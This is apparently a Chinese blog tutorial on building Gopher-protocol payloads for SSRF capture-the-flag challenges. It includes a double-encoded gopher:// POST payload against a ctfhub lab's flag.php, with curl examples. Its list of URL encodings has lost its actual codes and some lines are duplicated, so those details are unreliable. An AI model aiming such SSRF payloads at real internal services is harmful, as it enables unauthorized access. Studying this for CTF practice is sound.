Gopher 协议详解
介绍
Gopher协议是什么?它是Internet上的一种信息查找协议,什么是信息查找协议?Http协议听过吧,http也是internet上的信息查找协议,但Gopher出现的时间比http协议更早。他们的关系就像爸爸和儿子的关系,只不过‘儿子’现在比爸爸更加流行,‘爸爸’也渐渐没人知道了而已。一般人基本都不会主动了解这个协议,想要了解这个协议的人,估计90%都是为了打CTF而来的。
Gopher 构造数据包
发送gopher协议数据包时为什么要二次url编码?具体原因请参考博文:Gopher为什么要二次url编码 gopher构造好的数据包如何进行二次编码:很简单,只要将构造好的gopher包中的:字符改成url编码即可,比如将:?:= % 空格 回车换行 等改成相对应的url编码发送即可。
Gopher协议格式:gopher://:/_后接TCP数据流
构造 GET 请求方式发送
构造get请求不像post请求,它不需要添加构造特定的字段头。如何构造?直接上列子:
代码语言:javascript复制gopher://127.0.0.1:80/_GET /index.php?id=10 HTTP/1.1
HostHost: 127.0.0.1
# 上面这一串东西代表什么?表示向127.0.0.1:80/index.php?id=10 以get方式请求服务器。
也支持curl发送请求:
curl -v gopher://127.0.0.1:80/_GET /index.php?id=10 HTTP/1.1
HostHost: 127.0.0.1
为了更好看懂gopher数据包,还是先说一下各个编码的意思把:
- :是空格的url编码。
- ?:是?的url编码。
- =:是= 的url编码。
-
:代表gopher协议中的回车换行,在构造gopher数据包结束时要在最后添加这个东西代表结束。
是url中的换行。
- %:是% 的url编码。
- ::是:的url编码。
(tips:这些常见的url编码还是记下来比较好,反正经常看见。)
构造POST 请求方式发送
构造POST至少需要在gopher中添加如下四个字段:
代码语言:javascript复制# 字段里面的内容可以按照你的实际情况修改
POST /index.php?id=1 HTTP/1.1
Host: 192.168.0.111
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
展示一个post请求的列子把,这是ctfhub.web.ssrf中的关于post请求的一个题目:
gopher包经过二次编码后的样子
****?url=gopher://127.0.0.1:80/_%0D%0A%0D%0APOST%20/flag.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Length%3A%2036%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0A%0D%0Akey%3Ddec564c6ce41065829a2d8680a1600e9%0D%0A%0D%0A%0D%0A
把gopher二次编码后进行第一次还原:
****?url=gopher://127.0.0.1:80/_ POST /flag.php HTTP/1.1 Host: 127.0.0.1:80 Content-Length: 36 Content-Type: application/x-www-form-urlencoded key=dec564c6ce41065829a2d8680a1600e9
把gopher二次编码后进行第二次还原:
代码语言:javascript复制?url=
gopher://127.0.0.1:80/_
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
key=dec564c6ce41065829a2d8680a1600e9
现在应该懂了吧,兄弟们。 gopher的简单使用大概就是这样,听说他还能反弹shell,我暂时还没试过,等试过了,在来补充吧!